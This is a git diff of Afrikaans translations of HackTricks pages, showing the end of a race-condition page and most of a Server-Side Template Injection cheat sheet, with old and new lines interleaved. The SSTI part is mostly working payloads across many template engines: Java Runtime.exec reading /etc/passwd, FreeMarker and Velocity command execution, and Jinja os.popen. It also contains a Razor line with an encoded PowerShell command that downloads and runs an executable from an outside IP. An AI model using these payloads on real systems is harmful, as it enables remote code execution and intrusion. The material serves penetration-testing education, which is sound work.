Sodra jy 'n geldige RT **verkry het**, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en **selfs as die gebruiker die toestemmings kanselleer** vir die skadelike aansoek om toegang tot sy data te verkry, **sal verskeie RTs steeds geldig wees**.
Sodra jy 'n geldige RT het, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en selfs as die gebruiker die toestemmings kanselleer vir die skadelike aansoek om toegang tot sy data te verkry, **sal verskeie RTs steeds geldig wees**.
## **RC in WebSockets**
@ -269,7 +398,7 @@ In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
@ -277,14 +406,14 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

File diff suppressed because one or more lines are too long

View file

@ -1,4 +1,4 @@
# SSTI (Serverkant Templaatinspuiting)
# SSTI (Server Side Template Injection)
<details>
@ -6,35 +6,35 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekerheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
## Wat is SSTI (Serverkant Templaatinspuiting)
## Wat is SSTI (Server-Side Template Injection)
Serverkant templaatinspuiting is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n templaat kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan gevind word in verskeie tegnologieë, insluitend Jinja.
Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n templaat kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan gevind word in verskeie tegnologieë, insluitend Jinja.
Jinja is 'n gewilde templaat-enjin wat in webtoepassings gebruik word. Laat ons 'n voorbeeld oorweeg wat 'n kwesbare kodefragment demonstreer wat Jinja gebruik:
```python
output = template.render(name=request.args.get('name'))
```
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan potensieel 'n aanvaller in staat stel om kwaadwillige kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
Byvoorbeeld, 'n aanvaller kan 'n versoek met 'n lading soos hierdie saamstel:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Die lading `{{slegte-stof-hier}}` word ingespuit in die `naam` parameter. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
Die lading `{{slegte-stof-hier}}` word in die `naam`-parameter ingespuit. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesaniteer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidering en die gebruik van konteks-bewuste ontsnappingstegnieke kan help om die risiko van hierdie kwetsbaarheid te verminder.
@ -43,19 +43,19 @@ Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars ve
Om Serverkant-sjablooninspuiting (SSTI) op te spoor, is dit aanvanklik **fuzzing van die sjabloon** 'n reguit benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale lading. Kwetsbaarheidsaanwysers sluit in:
* Gegooide foute wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
* Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
* **Plaintext Konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
* **Kode Konteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `greeting` in `http://vulnerable-website.com/?greeting=data.username` om te sien of die bediener se uitset dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
* Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
* **Plaintext-konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
* **Kodekonteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `groet` in `http://kwesbare-webwerf.com/?groet=data.gebruikersnaam` om te sien of die bediener se uitset dinamies of vas is, soos in `groet=data.gebruikersnaam}}hallo` wat die gebruikersnaam teruggee.
#### Identifikasiefase
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
Die identifisering van die sjabloon-enjin behels die analisering van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
## Gereedskap
### [TInjA](https://github.com/Hackmanit/TInjA)
'n effektiewe SSTI + CSTI-skandeerder wat nuwe poliglote benut
'n Doeltreffende SSTI + CSTI-skandeerder wat nuwe poliglote benut
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -74,7 +74,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
```
### [Template Injection Tabel](https://github.com/Hackmanit/template-injection-table)
'n Interaktiewe tabel wat die mees doeltreffende templaatinspuiting polyglots bevat, saam met die verwagte reaksies van die 44 belangrikste templaat-enjins.
'n Interaktiewe tabel wat die mees doeltreffende templaatinspuiting polyglots bevat saam met die verwagte reaksies van die 44 belangrikste templaat-enjins.
## Exploits
@ -100,7 +100,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
```java
${T(java.lang.System).getenv()}
```
**Java - Kry /etc/passwd**
**Java - Haal /etc/passwd op**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -108,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
Jy kan jou payloads probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
Jy kan jou ladingstoetse probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nothing`
* `#{7*7} = 49 -- (oud)`
* `${7*'7'} Niks`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -139,6 +139,7 @@ ${dwf.newInstance(ec,null)("id")}
### Velocity (Java)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
@ -147,6 +148,17 @@ $ex.waitFor()
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
```
**Meer inligting**
@ -168,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus, 'n eenvoudige SSTI toetslading kan lyk soos `[[${7*7}]]`.
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus kan 'n eenvoudige SSTI toetslading lyk soos `[[${7*7}]]`.
Die waarskynlikheid dat hierdie lading werk, is egter gewoonlik laag. Thymeleaf se verstekkonfigurasie ondersteun nie dinamiese templaatgenerering nie; templaat moet voorgedefinieer word. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om templaat vanaf strings aan die vlieg te skep, wat ongewoon is.
@ -202,7 +214,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Bypass filters**
Verskeie veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
Verskeie veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
* Lees `/etc/passwd`
```java
@ -281,8 +293,6 @@ Nuwe weergawe van Pebble:
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
Jinjava is 'n kragsjabloon en 'n skakelbare sjabloonengin vir Java. Dit kan gebruik word vir die uitvoering van sjablone in 'n Java-toepassing. Jinjava ondersteun die meeste van die standaard sjabloonfunksies soos lusse, voorwaardelike verklarings, en filters. Dit is 'n kragtige instrument vir die hantering van sjablone in Java-toepassings.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
@ -370,13 +380,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tussen die aanbiedingslaag (soos webbladsye) en die aansoeklogika (soos bestuurde bone) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE tegnologieë wat EL gebruik, sluit in:
Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE tegnologieë wat EL gebruik, sluit in:
* **JavaServer Faces (JSF)**: Maak gebruik van EL om komponente in JSF-bladsye te bind aan die ooreenstemmende agterste data en aksies.
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy-elemente met die aansoekdata te koppel.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende aansoekstruktuur verseker.
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy elemente met die toepassingsdata te koppel.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende toepassingsstruktuur verseker.
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpreteerders**:
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL tolke**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -427,7 +437,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**Meer inligting**
* In die Smarty-afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* In die Smarty-seksie van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@ -479,7 +489,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates is 'n templating engine wat inheems is aan PHP, wat inspirasie put uit Twig. Tog, in teenstelling met Twig, wat 'n nuwe sintaksis introduceer, maak Plates gebruik van inheemse PHP-kode in templatings, wat dit intuïtief maak vir PHP-ontwikkelaars.
Plates is 'n templating engine wat inheems is aan PHP, wat inspirasie trek uit Twig. Tog, in teenstelling met Twig, wat 'n nuwe sintaksis introduceer, maak Plates gebruik van inheemse PHP-kode in templatings, wat dit intuïtief maak vir PHP-ontwikkelaars.
Beheerder:
```php
@ -537,7 +547,7 @@ Uitleg sjabloon:
</body>
</html>
```
`outors.php`
`outjie.php`
```php
<?php
//we want to display this author list
@ -651,7 +661,7 @@ URLencoded:
| | Evalueer en toon uitset |
| | Evalueer en toon HTML-gekodeerde uitset |
| | Kommentaar |
| en | Laat kode toe (standaard gedeaktiveer) |
| en | Laat kode toe (standaard gedeaktiveer) |
* \= 49
@ -729,7 +739,7 @@ home = pugjs.render(injected_page)
### Python
Kyk na die volgende bladsy om truuks te leer oor **arbitrêre bevel uitvoering wat sandbokse omseil** in Python:
Kyk na die volgende bladsy om truuks te leer oor **arbitrêre beveluitvoering wat sandbokse omseil** in Python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -763,7 +773,7 @@ Kyk na die volgende bladsy om truuks te leer oor **arbitrêre bevel uitvoering w
[Amptelike webwerf](http://jinja.pocoo.org)
> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandboks-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandbox-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
* `{{7*7}} = Fout`
* `${7*7} = ${7*7}`
@ -813,7 +823,7 @@ Kyk na die volgende bladsy om truuks te leer oor **arbitrêre bevel uitvoering w
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Meer inligting oor hoe om Jinja te misbruik**:
**Meer besonderhede oor hoe om Jinja te misbruik**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
@ -844,9 +854,9 @@ ${x}
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. Jy kan 'n kwesbare webtoepassingsvoorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Kwesbare webtoepassingsvoorbeeld kan gevind word in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Meer inligting**
@ -878,7 +888,7 @@ Selfs al is dit perl, gebruik dit tage soos ERB in Ruby.
```
### SSTI in GO
In Go se templaat-enjin, kan bevestiging van die gebruik daarvan gedoen word met spesifieke payloads:
In Go se templaat-enjin, kan bevestiging van sy gebruik gedoen word met spesifieke payloads:
* `{{ . }}`: Onthul die datastruktuur inset. Byvoorbeeld, as 'n objek met 'n `Password` eienskap oorgedra word, kan `{{ .Password }}` dit blootstel.
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
@ -894,7 +904,7 @@ vbnet Kopieer kode
RCE-uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module maak dit moontlik om enige openbare funksie direk te roep (deur die "call" waarde te gebruik), wat nie toegelaat word in `html/template` nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat opdragte uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld:
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat bevele uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -940,7 +950,7 @@ As jy dink dit kan nuttig wees, lees:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}